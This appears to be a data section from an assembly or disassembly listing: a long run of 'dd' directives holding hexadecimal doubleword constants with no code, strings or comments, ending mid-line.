dd 33D82A77h, 46EA3A74h, 0EDC8944h, 377F9A6Ah, 1860EA95h dd 79A3F5B5h, 0F9B17694h, 0C0F8DAA5h, 32E6E0BEh, 28FFEC4Dh dd 0F2599F6h, 197AD45Eh, 16346826h, 0FF36E9DCh, 3D9F6C89h dd 0D166DF87h, 3C32B68h, 4A35D513h, 0B2ECF339h, 0D941A4h dd 5620CB4Bh, 487D801Eh, 7D317B19h, 4508DFD2h, 53A3609h dd 0F46730Ch, 9F97E176h, 98B9EB05h, 7CE8E7DAh, 0D55564F8h dd 1E20D0E0h, 0C5188107h, 782A5103h, 0F91F0F7Fh, 9CEA8B9Ch dd 165C866Ah, 0A5E3B480h, 57D3EAA9h, 124764E5h, 0A1F66F02h dd 0B643ED36h, 73997EC5h, 24C3E047h, 72980D3Bh, 2A1A9E7Fh dd 0C81DEDCEh, 2B8A000h, 89569F9Bh, 84599333h, 0A9042748h dd 1549796Dh, 7637E1E1h, 274C7138h, 0DF64BFC6h, 4D6BEEC0h dd 6208B2C6h, 1E12F53Bh, 0BA754129h, 0B5BF716h, 0FB7C589Ah dd 0D2287E09h, 5C3EBD0Dh, 0E8142594h, 7685232Dh, 0E7B8A7A6h dd 71BBA83Fh, 4391732h, 6B8452DCh, 0B880B4FAh, 706724E2h dd 94D36628h, 0C6938105h, 57278A2Ah, 3F3E75D6h, 0BE6B59BFh dd 8AC52006h, 0B0EF60C0h, 71FE2D39h, 6EEC4D46h, 0D8A26B5Dh dd 0D86C638h, 0B3C852C2h, 18953A38h, 353E86CFh, 0FAAE2917h dd 1A1C7B82h, 0EC706362h, 159E4343h, 0EB2A512Ch, 365E9735h dd 0C4FBBA1Eh, 22CBB2EFh, 0CA1623EAh, 62299506h, 4C7647F4h dd 7B3FB5E4h, 0FEADB574h, 84BF3D32h, 4A3D13DDh, 64ED8A5Bh dd 397DD4F0h, 0E4D59F51h, 0DBCDC48Dh, 7628D477h, 0CFFE3158h dd 4E07972Bh, 8680CAF4h, 144F7E99h, 603C3C2Ch, 6DB9DFF1h dd 0C5B87A46h, 5FB4D022h, 4EB25C42h, 1B273831h, 0A134CCDFh dd 766BEFF3h, 324652BEh, 0A6BBED54h, 8B77DBCCh, 93E94C6Dh dd 0A6375CF5h, 4B3BABBEh, 0BFDBF13Eh, 810A943h, 468076EDh dd 1A6DBA5Eh, 34A95186h, 0EDCC93F2h, 2BF52213h, 2E476989h dd 8A6DF18Ah, 50C5304h, 0A409D951h, 0EB140BD5h, 81260F34h dd 43655602h, 0F5A923E5h, 9EFB8B09h, 25A58276h, 6A42D3E5h dd 339DA7ACh, 896826B0h, 8B7B9426h, 442C51BDh, 0C17AF3F4h dd 0E1A8025Dh, 6647D5CAh, 0FB02B4FFh, 9B7203D1h, 17D72A23h dd 269130F8h, 9F4786DAh, 70EBC049h, 0A65C5641h, 68B68E56h dd 4EA60BAEh, 84699BF7h, 7D8E3C6Fh, 6C944CE7h, 1E2C22F7h dd 803BB546h, 37D43218h, 95F20A3Ch, 84F415E8h, 6B7EA0Fh dd 3C1C9D92h, 2E691340h, 467C370Ch, 68DFB7AEh, 5E92C5B1h dd 8AF76535h, 171B3631h, 28D0A518h, 0A4E5B1ADh, 0C8091115h dd 0BB396010h, 921E7353h, 5F551FB3h, 0C57905C4h, 0AA771FA6h dd 69FBC951h, 34345A61h, 330E71DFh, 9DF56629h, 0C275F4E8h dd 59FEA3CFh, 8F8EF923h, 0C844FAD2h, 34C2ED59h, 1FBFD8E3h dd 0E7C1C9B1h, 6B70F316h, 0ED04E0CFh, 2DB0D705h, 3E6FB6D9h dd 0C03212BFh, 6E8DE1A9h, 0B5249EECh, 85A5B6CEh, 0EF7BA087h dd 0F4D2A0F1h, 0D5935B4Fh, 7A4261E7h, 9F561702h, 0D078C75Eh dd 9A13E0C3h, 85FC5109h, 9ECD9AA2h, 0EC72D36Bh, 0F0163AD2h dd 0F2DEBA0h, 0C5F61960h, 5660F881h, 0A962E3E4h, 52740850h dd 29A8A92Bh, 0F92CC447h, 0AE82DB95h, 75DA6ADEh, 8EF469A2h dd 4D58F2FEh, 309E5E03h, 82068546h, 54896C5Dh, 0AFFE27B2h dd 0DDDB3B4Ch, 0C9BFA1E6h, 0ABC56294h, 0C2B3C121h, 0E9B2A575h dd 2F2C9DAFh, 12004178h, 0CDB74222h, 0A0976719h, 28FA49Bh dd 0CAC36017h, 563DAADDh, 0BE12D903h, 4CA8BFB3h, 0C3D4AC0Ah dd 2194A6F7h, 88D0F81Ah, 6CE45B0Ah, 82F4A52Dh, 9022DB2Ch dd 8C04C70Bh, 1BC07E83h, 9395D393h, 813DA75Ah, 641030D9h dd 589DEF73h, 0B8D345B1h, 48ABBB7Eh, 5A8FB15Ah, 0A5B7C750h dd 0F68C0438h, 0C6846626h, 0DF25B46Bh, 0FB4CAF66h, 39C072h dd 0C2D9E85Fh, 710BAD2Dh, 8A7A7C8Eh, 47A7FAFFh, 37CF479Fh dd 0D43DA834h, 3AD5B3DBh, 0C46E677Ah, 0DE5A0613h, 0C1733A45h dd 26CD75DEh, 26C04ED9h, 0F5B72FE9h, 0B54ABD94h, 2144C140h dd 5964750Fh, 845E74FFh, 93D79D1Fh, 0AC15A91Eh, 4E6EFACFh dd 2A7C7F79h, 9053CAAAh, 0DC89DFEDh, 0AF3172F7h, 0E56EA64Fh dd 8A038FEFh, 0A59BC2C9h, 971559ECh, 9EFE6E5Dh, 0B5E91078h dd 0EF3FF64Bh, 0D546DE2Ah, 7447A302h, 2435EFB1h, 877ED185h dd 0C743B2EAh, 0FC12FE35h, 5E8A26D7h, 0B0EB3DF3h, 0DE980A26h dd 9B6854C5h, 0FDB60096h, 0A564D51Bh, 0A3D31F27h, 1B45EFE2h dd 0CAE708B8h, 0A7415E90h, 0F9171649h, 7DE49063h, 0C2F9F292h dd 0D94E0DDh, 2A173C9Eh, 0B6B835F9h, 0A4A8D85Ch, 37A2174Ah dd 0D7842E5Fh, 8D9B9B29h, 2C7D4B7Bh, 9E55E282h, 0D8107E49h dd 8789FAA5h, 0BF8AF4C9h, 0D90EE4A7h, 7796A8B3h, 0D655AFFFh dd 6F3B2DC7h, 0AC3C1AC6h, 4BDD0D8Ch, 97BB1F71h, 6C0FA76Ah dd 213A9184h, 3D4FD43Dh, 0F636954Eh, 5CE00F96h, 0AF048A37h dd 74111356h, 2A4350F4h, 7A31C30Ah, 0CA510F67h, 23435A98h dd 6F409DDh, 9FC147A0h, 0AFF65EA8h, 4D144807h, 0D9DFC775h dd 3B6C8B5Eh, 87E0B731h, 5CB4DBCAh, 372FCEEDh, 8F73074Bh dd 0EFE72DBAh, 0B784FC1Bh, 5049F0DFh, 21697E77h, 273F2E00h dd 0A8716F21h, 9856EB46h, 5FA7AF18h, 37154774h, 0A074E9BFh dd 69BA82E2h, 2037D7BFh, 97957BEh, 2EECF098h, 69908375h dd 415F87F6h, 0F0870900h, 145E868Fh, 172BC441h, 6599B3C1h dd 7BB543CCh, 9AB245EFh, 75BB7D8Ch, 60FF03C6h, 71CF3C18h dd 12940D84h, 0BE85B990h, 1FA3E603h, 7D89035Ah, 0F83A245Ah dd 0FE5B7B0Ah, 6953FF0Ch, 22F74A21h, 1B2B1D6Bh, 0E71D4D4Fh dd 9E628EEFh, 2718FADDh, 0A4DC1340h, 7B5611FAh, 557738F6h dd 2ADA4B51h, 4EF6F3B8h, 7CD9A0F3h, 0A9E770C9h, 0FE0BA93Ah dd 0A71594EFh, 58321AD6h, 90894B86h, 0D83F5762h, 0FEBCC0C0h dd 11138D60h, 437D9355h, 84DE4F3Ch, 0C2ECCDE1h, 0A8156A87h dd 86333D33h, 9F7EA2ACh, 72F1BCEDh, 0A19EF4AAh, 4194FFFFh dd 638DC9D9h, 4973C6E0h, 3E286510h, 3279D0CAh, 0FFEA5638h dd 60BEF038h, 7DAB8F75h, 399B13AEh, 2A86EC87h, 89FA9613h dd 3788FA13h, 0B7D8B02Ch, 0E3A0B34Eh, 9FD6FAh, 231E9869h dd 0F767BCEh, 630DEB38h dd 0C38ABAD5h, 4CD07FF2h, 819F1CF4h, 5F78452h, 722D828Ch dd 717440D3h, 9C23851Ch, 0F7B0F63Dh, 0CCA4DDBEh, 4A39AD41h dd 9856BC2Fh, 5FE64BFEh, 1BA5F6D2h, 490C1F29h, 0F8AB9AEAh dd 1F8EF0D7h, 7968ABA2h, 9A46F3EFh, 4BBEA6B5h, 42A530EFh dd 0B87DEABh, 0F0986C43h, 340A716Ch, 1C660888h, 25156E0Bh dd 987B0F60h, 209D6CBBh, 2C719CBEh, 3288FC0Ah, 383AEB8h dd 6108C0DDh, 0FA36C8D3h, 0FDB5E937h, 74696DA5h, 0E4240D3Ch dd 0BF7731B3h, 0A2E0A8C2h, 2F243062h, 7994496Dh, 223EAB2Ah dd 0DFD87D06h, 2D06082Ah, 7069DEFAh, 0BA38D46h, 2415E40Eh dd 98E77A0Eh, 54C165DBh, 8ACFF2CDh, 0EE29B4EDh, 4E9C99F9h dd 0FD5BFC16h, 574C8A89h, 0E54EFD30h, 0DA8A4A8h, 0F11E5938h dd 4A362267h, 930D5C47h, 687337DAh, 0BF6D90EBh, 2D39B6DFh dd 98B0CD6Ah, 7442D64Bh, 52AC5FBCh, 0BC91A390h, 15DC1132h dd 7432DF8Eh, 47A2DF8Ch, 0B9ED4099h, 2E478E32h, 0E7BD15DCh dd 0A0F8D1DDh, 90E525B4h, 0B9E1D261h, 0D49993FEh, 68DD78ABh dd 0DC4947B1h, 9E17AA53h, 42E965A3h, 4F92D0AEh, 0FD624C78h dd 0FC1792DCh, 0A45EFA13h, 7908715Ah, 0FF77A067h, 8BFAEFC0h dd 0C2DC30DFh, 0E2801EF6h, 0E3943C68h, 7E68627h, 0AF315E7Ah dd 4E02B9Dh, 0BE70701Eh, 634ACF1Fh, 4D22E981h, 5E21A686h dd 0D2A2DDC6h, 0D2D0C5E2h, 0F4F0544h, 0C8089D7h, 84E533EBh dd 22D7BD72h, 6B9FB5FAh, 0B4266069h, 12AB4BEAh, 0AB9057E7h dd 63F6EC18h, 4EF56C49h, 7E85D804h, 819B66DFh, 9FAEFE88h dd 6C09772Dh, 0E3BBD686h, 0F822A829h, 609EDC7Ch, 0AFF2669Ch dd 0E5B37D75h, 0ECFD29BDh, 0C9F88B43h, 194B4A7Bh, 3537206Ah dd 9237520Fh, 0DB3C3333h, 0AF88D4B2h, 0D842838Ch, 0FDA9A76Bh dd 450C4760h, 0E20F833Ah, 4AD98005h, 548A409h, 0EDD95FFDh dd 0FE90FC18h, 37790C8Fh, 73209F55h, 8ACFEE0Dh, 0C9C889F6h dd 0A20E1D5Ch, 1FCE1D73h, 0BC8E8EDDh, 2DB6CCF1h, 9717A002h dd 0DD0C84CAh, 536880EBh, 70E8079Eh, 0B82B398Eh, 0D9B3C91Bh dd 389D989Bh, 0EE930FCh, 0A77B4C77h, 3E789EE1h, 0EAD559E5h dd 0CD7855B5h, 0C7CEA96Bh, 0DE2A3347h, 0C251EB01h, 0C845F7D9h dd 43B922BAh, 56F070CBh, 0F089EC28h, 0CE0D5EB5h, 0D3D65FEEh dd 0E7B695AEh, 3F1DEB59h, 881ADB4h, 0F6B24C6Dh, 0B29FF017h dd 0B6F8A835h, 4F609B8Ch, 6CD0E616h, 0E1DDBBC2h, 0B1411CBAh dd 0F0915A94h, 4A1455D0h, 0E7E89DA1h, 0AAF3BC7Eh, 8390361Ch dd 4FDA026h, 447A3C9Eh, 0E0A06E95h, 1D534B5h, 826D9C5Bh dd 19774279h, 0F3DB8F0Bh, 2C01A1CAh, 0A8A31CDEh, 108F8B7Ch dd 0EC4CD047h, 91679509h, 0F80FF2D4h, 33E8FF62h, 9F3311CFh dd 655C57CDh, 1446A851h, 62541DA5h, 5251AAE7h, 851546F6h dd 0BA26FC82h, 88C1900Dh, 380AEA89h, 41FAA19Bh, 9D3E6BD6h dd 1634056Ch, 5E64036Eh, 52A4BE09h, 77C99B34h, 0F9477127h dd 0FA10F76Bh, 0E5A59348h, 9692F606h, 0DD6998BCh, 3887289Fh dd 0DCC3660Dh, 718D0DBCh, 0E9D3E662h, 9CCB4450h, 0E84DAD52h dd 21AE3306h, 0B27F18B3h, 9772229h, 36B5508Dh, 2E6A1BC3h dd 618D9F30h, 0E9A9EC0h, 0F8F3867Ch, 0CACF371h, 79691CF7h dd 0C06C5649h, 0F41D2867h, 0AF5629D4h, 0B93CE228h, 0C6E0B333h dd 0EADA0372h, 262F8708h, 1E4BBA89h, 0BBBA7B5Eh, 0D314046Eh dd 683DA834h, 5E157B93h, 879D90C5h, 0CD180F51h, 0ABE60E31h dd 44695DD5h, 0F7C1B39Dh, 0BE5365B3h, 0E20008E7h, 0DE931605h dd 0D40B8581h, 4AFC4F34h, 6E2973FEh, 0B182F44Ch, 499577F5h dd 0BB07D95Dh, 7BD4EE1Eh, 0C83FEC52h, 350E1BAh, 1F64257Fh dd 93A603CBh, 0D2D845C0h, 4B9B9DCCh, 3AE5A74h, 0A545185Bh dd 1AA918Fh, 1CA6DEDh, 0DAD83A31h, 551FD8AEh, 1F5EAFAh dd 98F3E346h, 9D01ADB5h, 329A773Eh, 4043CA75h, 6D801AC5h dd 16D8F55Ah, 987A378Dh, 0DF45DE5h, 0D7EF939Fh, 55D6D127h dd 5DB3C8ACh, 4DE5285Ch, 76DA0950h, 7D09529Ch, 0EBE79704h dd 0F66A5B75h, 417899DDh, 6636566Bh, 0C0888576h, 0D40C5DFAh dd 0E7482B78h, 0E0E5E5FEh, 0F0DEE503h, 0C0FEBB8Ch, 55C6F368h dd 83B9D3B9h, 54BA0FC3h, 13AEF645h, 10F58F1Ch, 3F7CE5AAh dd 0A308363Bh, 0E1636D5Bh, 0DFCE7621h, 0DDCE73FAh, 98275C05h dd 0E346A864h, 8F04E42h, 0CD5FDD1Ah, 41DC19F6h, 5BDDDEBBh dd 0CA78D944h, 0D020F6DCh, 648CA1A7h, 0FBF1F961h, 96904A87h dd 256BF1F1h, 8E085BB2h, 0FD8C8D38h, 446752Ah, 0D6637872h dd 9C3E357Eh, 3F115105h, 0BF8BC9C3h, 0AD3DE014h, 912150CCh dd 0B762B7BBh, 86687559h, 0A53C2E13h, 0D96D2EA1h, 3740F2DFh dd 20F0D168h, 46FB9A3Bh, 85CDF897h, 6E01CD87h, 0A0548D1Fh dd 5BC1052h, 65C30B4Ch, 8638521Bh, 1C0BEEBDh, 0DE954091h dd 53A57F81h, 0B1C1FE83h, 839B2535h, 986F3096h, 2BA25652h dd 0F221C4BAh, 9657476Ch, 0C373007Eh, 274E8E7Dh, 0D48BA60Fh dd 598188C9h, 470363C1h, 8B37F9DEh, 22146B9Ch, 8A6AD0A4h dd 8CE387C0h, 0D745BD34h, 9BA8CA8Bh, 3849EACDh, 0E209D5B4h dd 771A780Dh, 1CC246A3h, 0E0F17D86h, 1F05A9D9h, 53CB663Fh dd 0A2C50113h, 0F309BF2Dh, 7B1C27F9h, 0B364E3DCh, 9D15494Eh dd 0DFBCF995h, 0E4A5A822h, 95715FBEh, 0B80176Dh, 711C78E6h dd 0E0130324h, 55BC2AABh, 0D8B09186h, 6C5A8080h, 5DB4F76Ah dd 0F2868815h, 8CB11A19h, 51F9C99Dh, 648A20DEh, 0C618E65Ah dd 47D3A407h, 0EB322ADAh, 184F3C5Bh, 0E8650282h, 74C90494h dd 230D4CFEh, 3E66EC6Bh, 901EBB66h, 0D0D434CAh, 0B6969402h dd 8BE89D6Eh, 0D67E7368h, 0C70767CEh, 4C8A1AADh, 8A0C1CC2h dd 45BF6256h, 6164936h, 12B13CDCh, 59C33795h, 0D03EB103h dd 0BB4F5CD2h, 312F7D46h, 0B43D151Ah, 0FD25C6AAh, 4864D36Ch dd 63387D5Bh, 2126FD93h, 0ED480B3Dh, 0AC161C40h, 4EB2BBC6h dd 4818F1BDh, 7F5A37Bh, 0BCDE9490h, 86E38D0Bh, 994C7B07h dd 0A598022h, 4B98ACDBh, 437FFD6Eh, 0E08C0D27h, 0EEE83A43h dd 4978B96Ah, 0BA35BA68h, 11ADA3B6h, 433B8942h, 0D5DA41DDh dd 19BB2F01h, 10BE3BA9h, 0B1A85849h, 9798114Dh, 0E9D16762h dd 244351A1h, 7EFDB850h, 6816B44Fh, 0E7A5F477h, 11F282CFh dd 65FDECDBh, 0BDA6445Ch, 62A5DC16h, 5EFA364Dh, 168DC0C0h dd 0A30AFBACh, 981CBF75h, 34914E73h, 705137B7h, 130969BDh dd 2E973EDBh, 17748E47h, 33D1EB77h, 0C4A2F8B8h, 9165A2C4h dd 9C4851A9h, 0DD0AE709h, 0D8CF7B16h, 0C520BD64h, 18216DAAh dd 999497E1h, 7E863A73h, 0E97CEE82h, 0D14CA7BDh, 9C8A2B31h dd 0D6F94055h, 0AEA53579h, 5F5B6323h, 12128D5h, 674D002Ah dd 0F32C6A71h, 0D4BDC828h, 0C9769106h, 7795E127h, 206AA9A2h dd 1841CFECh, 609A7799h, 86CBB6FAh, 14CAC63Ch, 2AA7F83Eh dd 322CB640h, 38D01A10h, 5BC18A33h, 9BEC9503h, 0AA0E0E28h dd 4339360Dh, 8D556393h, 8CA753A6h, 2803458Eh, 51CE1970h dd 339811Eh, 8C4A6D7Bh, 293C15D4h, 24107BB6h, 3A9B6FC4h dd 0FA459B9Eh, 19D235D3h, 665B3646h, 7CE83074h, 0E95FAE37h dd 0E0A225BFh, 5BDEF0ECh, 7F4F4345h, 83C4ABD0h, 0F0F54882h dd 2174D1F0h, 0EAD02754h, 84271C0Fh, 0EE82A447h, 0AA44AFAAh dd 4A6C7C34h, 604693BAh, 57658B87h, 0EAB59903h, 0FE98AF48h dd 508EDAA7h, 2D6F4CE4h dd 0FBD52CECh, 88B0537Fh, 57095AE6h, 0F99C2C0Dh, 48C055B4h dd 0D5BDECF9h, 5317FBCAh, 0B1BEBFF3h, 0E2662697h, 0B0C491CDh dd 5F3C135Fh, 94D409C8h, 0CFDBAC6Ah, 5216315Eh, 0DE23FB8Ah dd 0AC829638h, 8544182Ah, 0DB9EF34h, 81BB2A4Ch, 4BA635EAh dd 288399B2h, 0BD998704h, 0E14E5671h, 81C59C56h, 67E86172h dd 593A6377h, 4C43019Bh, 0CDCD0BACh, 2E3B4FB2h, 731E34C7h dd 0A8C72DB8h, 59443823h, 0A906B876h, 0A1742788h, 0EF4B1F05h dd 0FE023EB6h, 0E641B690h, 237A937Eh, 9AFD0507h, 0FDD5D9EBh dd 632888BEh, 6582E0Eh, 8F1126D9h, 0CB925CF9h, 0D5CBB383h dd 0FCEC073Ah, 40DBDF5Ah, 73E4A16Ah, 0C641B3E8h, 0FE8A2C58h dd 0F7FAB666h, 552CDA4h, 0CE7C3BB4h, 38E40291h, 0CB7A266Ah dd 0B7B8B381h, 0DDC3FA57h, 9C6BFBE8h, 4718A0AFh, 0A0DD3B95h dd 0D60AB95Eh, 0C5773EC7h, 84BA9E0Dh, 0AEDA075Bh, 3A407E52h dd 0CEE596A0h, 0D994DDBCh, 70B8AAC4h, 8F5E852Bh, 251A8251h dd 0BB2B9635h, 71EC32CEh, 0EE8E6667h, 21152F07h, 0C0D17286h dd 3FCBE275h, 0E7F4D00h, 860377ACh, 0BC4C459Eh, 70EBB0DCh dd 3713453Fh, 0F236EA81h, 298A54D7h, 0BCCED21Fh, 6748A2E2h dd 0B3FA1357h, 3319CD35h, 0ACF614Fh, 9EC0BF61h, 41EC26B7h dd 3BA7A141h, 0F25A3340h, 0B0CB123h, 297CE38h, 0BF7823B1h dd 4A560EAFh, 1D047CB0h, 0F74B4A9h, 16D0CF79h, 7186B2F3h dd 72E0EF70h, 32E172E5h, 4B524798h, 0C228AE72h, 0CB8D21DAh dd 1C221595h, 0C9CC06E8h, 0D8486017h, 0C9730384h, 0B9D19946h dd 7BB6A1EBh, 1322FFDBh, 0C0C5F4DFh, 76F16E05h, 4FC038F5h dd 104C34E7h, 1EB77304h, 8595EDA8h, 0C7F05796h, 2A10202Bh dd 0DDD42433h, 75541AD0h, 57D135FDh, 31452B63h, 1F7972A2h dd 5D55CA23h, 8F76AC6Eh, 0FBE2A334h, 15368627h, 0E9AD9C2h dd 5F5476A1h, 74FBE4F0h, 7D2137EEh, 45AB0C23h, 0F25589D8h dd 0FCD004F4h, 363494FDh, 0FE236FAAh, 0DEBF2F52h, 183D99ADh dd 99C9F123h, 6FB4DF50h, 56CE7E97h, 5A9A4B9Fh, 5C7063A0h dd 0BF6CC899h, 858D882Ah, 91AA547Ch, 0FEB20EF0h, 0D3F103A3h dd 0FE3470E2h, 0D9B56273h, 79743996h, 14667AE8h, 5B5FCF67h dd 759DA2C4h, 0C44D4271h, 796EF0C9h, 0F3433FCDh, 0D9201051h dd 9DE9E6C7h, 865D5095h, 540B380Bh, 0AD3F4A20h, 0FB18C21Fh dd 3BAC3B25h, 58668F74h, 54239179h, 4A566084h, 5F70ABA7h dd 4F4CCAC4h, 598C8177h, 34E83A8Fh, 8E481714h, 292D1744h dd 39B7542Ch, 0BBAC5038h, 0B6AD811Bh, 0DD0F0B4Eh, 2CE41872h dd 7F975855h, 0A84699F1h, 66D0F899h, 48AA1078h, 55BB1863h dd 2F43BDBFh, 0C9E95E24h, 2C597D7Dh, 6608C8BEh, 0DAF61390h dd 3820AA69h, 73234D64h, 0EE9A5E9Ch, 64F990C8h, 8E17BA47h dd 5F098BDDh, 8CD4CCBEh, 162045BEh, 8CE34811h, 16559608h dd 0F5E49737h, 0EB3FAEB0h, 0CBE842FCh, 0ECBEDCB8h, 0CCE10112h dd 147873CBh, 9FBDFDE6h, 0F71568DDh, 4D72054Fh, 8BE2F817h dd 0D3B950F2h, 44949DE7h, 0F36B936Ah, 0B4AFFB9Dh, 46C63833h dd 910FF675h, 53999E04h, 147AF752h, 0B0551C05h, 83755584h dd 0F6B55ED6h, 0E1A99E90h, 9BF7543h, 0DB5B04C2h, 4CE35C6Ch dd 0D2089CDFh, 0E3DE3E9Bh, 751CAEEh, 1A70AA08h, 36CE18C9h dd 9ECD84E1h, 3D494BDEh, 0D59537A0h, 57BF2F80h, 1F79E30Dh dd 0E1F8BCC5h, 943EA48Ch, 0FC75EF4h, 0F34085D2h, 293B80F4h dd 2A8A88CCh, 0F3FD0AE9h, 0CA3454F2h, 1BE09F7Ch, 274BF751h dd 9530B135h, 1941FFDEh, 7F2273ABh, 7AFD8D64h, 0DAABFC5Eh dd 100AC866h, 0D1A96498h, 341D8821h, 55A2E0EEh, 40773F0Fh dd 12FFA927h, 0A38B8AEh, 98C5D5AEh, 9D59D520h, 0BEFC1B20h dd 4A427B6h, 7A4222E4h, 29E21F70h, 1933A043h, 0EB2CCB36h dd 0D5B90B9Fh, 0A7766589h, 3B35A60Ch, 60FAA326h, 6E66FE02h dd 4456E132h, 65B284C4h, 0D5779403h, 1FD6074Ah, 0B8329C5Bh dd 974474DCh, 69EE239Dh, 1CF244C1h, 8FCC26C8h, 4CC4B8F2h dd 82F2D1DAh, 4DBD7F43h, 3686F0C5h, 0B1DCAE5Bh, 57ECD346h dd 0F0B82738h, 0D39160Ch, 1FC381DAh, 9289C04Bh, 1E50E185h dd 0B280D129h, 3E1F06E7h, 0BBA01CADh, 9714C4Bh, 0C7BED895h dd 9947EC06h, 0A94370FDh, 9AADE616h, 0CFA84D58h, 8B0A2396h dd 2106FC1Dh, 0B4CB2A2Bh, 429709ECh, 117D5BF2h, 3E6301B3h dd 0F54BEAC4h, 0F8253869h, 0E1E5BAD4h, 27AE44B2h, 4B6FEA4Eh dd 7F295F6Bh, 0DF68CDA3h, 7D3AFCF9h, 0C21739E9h, 0FEC19FE0h dd 0D6B65CDFh, 56E18C5Eh, 0BA7B93h, 9C3EFF9Fh, 0E7DF1711h dd 4EAC6Ah, 0BFFEABE4h, 0FA858991h, 7B50A6A7h, 0A785E70h dd 8CF385D1h, 3B40675Dh, 70883E59h, 0E28B3E81h, 34BBB1D9h dd 0A5DCD5BDh, 0A2A97EBBh, 0F5734D3Fh, 79250E6Bh, 0C37C15EAh dd 68E7528Bh, 0E579A281h, 80B8515Ch, 0F321E314h, 0BC642EFDh dd 0BDCC001Dh, 0C4A748AEh, 18199144h, 0D40EAAC2h, 0AB32CD9Bh dd 1CAE996Ch, 6A4DA606h, 74DB63FBh, 613E9FDDh, 5099A47Dh dd 417D222Ah, 439E5A34h, 0BAFDF47Ah, 0D5BC2889h, 74B44E7Eh dd 3F5AF82Ah, 0A4BE86D7h, 16935C5Dh, 5EB587E1h, 0EBA13EC8h dd 0C2F2CCD0h, 65DD87B3h, 0B92B1CA8h, 52B0FB58h, 0CF02926h dd 0CE7B34AEh, 59468EB2h, 0A3A2527Fh, 70679C5Dh, 0DAF5AF3Ah dd 89FD5F5Dh, 7D8EA422h, 3438DF58h, 0C05D34F4h, 0D1FB8924h dd 0E4939A2Bh, 809A0173h, 0B4BE3C30h, 60F2348Ah, 3B378577h dd 6A8CA652h, 0FF476355h, 0FCCCDED3h, 0CB5D578Bh, 169F5A70h dd 7C0E0FE8h, 7FB80C8Bh, 5E285405h, 96DDE17Bh, 4DD5C49Ah dd 0DCC09C93h, 0A232B8F2h, 395512A2h, 7466CC93h, 0D84E3CDEh dd 0AB9128ECh, 109A1D3Dh, 4443A251h, 22CFBDD2h, 8492FD95h dd 4298E49Dh, 8D910527h, 4DF66DAFh, 563F495Fh, 6E9F2C6Fh dd 48AEE101h, 7532945h, 0C933EA7Ah, 795B884Ah, 0D488F28Bh dd 2E3F0D64h, 6861A582h, 7A3B2917h, 38C1BD84h, 0FFC806C1h dd 74C3BB8Fh, 0C2746889h, 0AA9AD20Ah, 76FB1F41h, 0A94C0B95h dd 8253B558h, 8FE3345Ah, 540FE2C8h, 4311910h, 0AD422A51h dd 78F25036h, 0B60D76BFh, 0E3104AF6h, 4F3D7CCh, 0CDA07955h dd 0E932B520h, 93AE8ED9h, 4D29CA01h, 0DF2D64D9h, 8FB5D62Dh dd 4E9968BDh, 2058DAAAh, 0F56B141Dh, 0E173496Fh, 569208E1h dd 0C55EC2E7h, 0F5CDE95Dh, 0DD619469h, 73EE87A9h, 2C759F06h dd 8B5AA054h, 0DC1CFE3Eh, 0F348ECCAh, 303B5178h, 101DC8B9h dd 4E7D6D0Eh, 72CBEA67h, 0DBDF3B1Ch, 0AEB36F58h, 4C6CCF11h dd 4D3CD213h, 983F707Dh, 6ADE169Ah, 9A62F6BDh, 6D53F5EAh dd 8AD98584h, 36C958E3h, 0DBE2DD79h, 0E4497EB3h, 1C73C3D8h dd 0CF162BE4h, 0F5D7F6A2h, 9C4A8EF6h, 61A08027h, 75BF9E13h dd 0AA2C232Ch, 8CD4BC75h, 0B18B42FAh, 0A75E1068h, 2EDD6C76h dd 6DFA4200h, 3C8EE7E2h, 0FBD0B26Fh, 0A2E78DBBh, 57F13471h dd 5271726Bh, 507F1CCh, 0C57EC037h, 21A850CBh, 0C34D2F85h dd 0E509A6DAh, 455F8CC6h, 15211D61h, 40CF8F8Dh, 7F0ECDA7h dd 4404406Ah, 0CD378F11h, 23359858h, 67A624CBh, 27C80DC9h dd 0E73B6065h, 0F624C2B0h, 3234FA2Ah, 0F0C4E49Eh, 3B059FA6h dd 444DA6BCh, 3995206Ah, 0F9106456h, 5496D112h, 9D1C82C9h dd 0FF71BCC0h, 0C9BDB87Fh, 5F2F3F42h, 3A7535DCh, 0AF0BC738h dd 6A560651h, 0D522B6F1h dd 3801A0EEh, 8EB5A638h, 85B2FBCFh, 2EF5A864h, 93F4B66Fh dd 0BFD74243h, 442CCD05h, 896C6A67h, 19A1CD05h, 0D4485C76h dd 294B7C62h, 17A5A464h, 7AB5A9B5h, 8DA62B9Fh, 7DC20D0Ch dd 131F8BC5h, 1070891Eh, 963DA219h, 0B6BA71Eh, 82E97FF8h dd 453E96DAh, 87E5EBD8h, 938226E5h, 0E3C4872h, 37AAFA01h dd 2E399722h, 8B3F4391h, 0B10F4E6Bh, 13BDE47h, 7F3C0C53h dd 0AFE27BC5h, 7862943Dh, 570BCA31h, 1C9568ADh, 9F30A7B1h dd 5AF95728h, 0A00A42F2h, 0B6112B48h, 0EBDAE956h, 0C25B4D40h dd 0D96A8965h, 4810E66Dh, 5FC43C07h, 23F62097h, 6CAEA5FFh dd 0E5EEF58Bh, 591D5866h, 88A6D47Ch, 3BD481ADh, 0E71B6D08h dd 3B21270Ah, 6CF3F01Bh, 1D148DD3h, 0BEC8DB09h, 164B165Bh dd 0BA9DACDAh, 24DCC96Fh, 9F88DBD7h, 2A7107DCh, 4C5AA86h dd 218A4B08h, 6F80546Ch, 12AA275Dh, 5D4934F4h, 0F0491441h dd 0A3300153h, 8349B348h, 0EB2EFAD2h, 0E6C7CF45h, 9C1535FFh dd 0E429F7F9h, 0ECFC06ABh, 585F31CAh, 10E0B69Fh, 7A1EC2B7h dd 41CE6995h, 4525A387h, 0F9EF319Bh, 99D12587h, 0EC0478AAh dd 6580DD5Bh, 6E65909h, 7BCE01EFh, 0B3DCF392h, 0EAFCF2B5h dd 0F8B69D4h, 550D3935h, 570B4A03h, 0E6D0BAC8h, 0F809DC5Dh dd 14249C40h, 0D333196h, 0B7683DE0h, 9C8E96A0h, 0D3E70315h dd 98C6131Dh, 5AE59517h, 0A9C84815h, 0A9D11947h, 0DAE35DE0h dd 0A7F6F973h, 333B7C79h, 9BBD9350h, 8BC89856h, 0FC664DCEh dd 89C6AAD3h, 0BFE11FF0h, 1C7E72F5h, 20266E6Ch, 3052FE8Ch dd 9E84FFAAh, 949AB3A1h, 0E7F6EFC8h, 74558C79h, 0C7AC30BFh dd 0D8E4EDB7h, 8A5FB8C8h, 7CF05052h, 666411CBh, 3622EA24h dd 0BE5E65ADh, 1044D978h, 0A4A951EDh, 28B81BC6h, 72D773B6h dd 0F0D0F116h, 